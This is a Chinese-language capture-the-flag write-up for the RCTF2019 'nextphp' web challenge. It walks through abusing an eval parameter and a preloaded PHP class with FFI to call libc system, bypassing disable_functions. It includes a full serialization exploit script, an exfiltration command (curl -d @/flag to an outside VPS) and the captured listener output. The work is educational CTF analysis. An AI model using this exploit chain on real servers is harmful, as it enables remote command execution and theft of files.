RCTF2019-WEB-nextphp

RCTF-web-nextphp

<?php
if (isset($_GET['a'])) {
        eval($_GET['a']);
} else {
        show_source(__FILE__);
}

http://192.168.1.8/?a=var_dump(scandir(getcwd()));

http://192.168.1.8/?a=show_source("preload.php");

 <?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

收集一波phpinfo的信息

disable_functions	set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir	/var/www/html
opcache.preload	/var/www/html/preload.php
FFI
FFI support	enabled
disable_classes	ReflectionClass	ReflectionClass
安裝php7.4-dev

apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install
☁  bin  ./php --version
PHP 7.4.0-dev (cli) (built: May 30 2019 19:12:10) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0-dev, Copyright (c) Zend Technologies
☁  bin  ./php -r '$ffi = FFI::cdef("int system(char *command);","libc.so.6"); $ffi->system("whoami");' 
river
☁  bin  ./php -r '$ffi = FFI::cdef("int system(char *command);",           ); $ffi->system("whoami");'
river
☁  bin  ./php -r '$ffi = FFI::cdef("int system(char *command);",           ); $ffi->system("id");'    
uid=1000(river) gid=1000(river) groups=1000(river),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),128(docker)

這樣的話,我們就可以利用 preload.php 中類 A 的 run 方法直接執行命令了,也就可以直接繞過 disable_functions 等限制。通過如下腳本生成 exp :

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];
    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
    public function __get ($key) {
        return $this->data[$key];
    }
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }
    public function __construct () {
        echo "__construct<br>";
    }
}
$a = new A();
echo base64_encode(serialize($a)); // 即payload

這裏的EXP代碼中刪除了原有的 __serialize__unserialize 兩個函數,這是因爲在反序列化時會觸發 __unserialize 函數,這一特性是在PHP7.4中新加入的,具體可參考:https://wiki.php.net/rfc/custom_object_serialization

然後訪問 http://題目/?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系統命令); ,這裏的命令執行的結果不會回顯,可以用VPS接收flag,執行命令 curl -d @/flag http://VPS 就行了。

➜  river nc -lvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [192.168.1.8] port 8888 [tcp/*] accepted (family 2, sport 58150)
POST / HTTP/1.1
Host: 192.168.1.7:8888
User-Agent: curl/7.52.1
Accept: */*
Content-Length: 24
Content-Type: application/x-www-form-urlencoded

RCTF{Do_y0u_l1ke_php74?}

後來又想爲什麼不直接通過那個 shell 利用 FFI (直接不用那個反序列化),結果試了發現不行。再次查看文檔,發現如下描述:

FFI API opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To minimize risk PHP FFI API usage may be restricted. By default FFI API may be used only in CLI scripts and preloaded PHP files. This may be changed through ffi.enable INI directive. This is INI_SYSTEM directive and it’s value can’t be changed at run-time.

  • ffi.enable=false completely disables PHP FFI API
  • ffi.enable=true enables PHP FFI API without any restrictions
  • ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

原來默認 ffi.enable=preload 且僅在命令行模式和 preload 文件中可用,在本地環境 ffi.enable=preload 模式下,web端也是無法執行 FFI 。將 ffi.enable 設置成 true 後,發現 web 端就可以利用 FFI 了。

Ref:
https://mochazz.github.io/2019/05/21/RCTF2019Web題解之nextphp/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章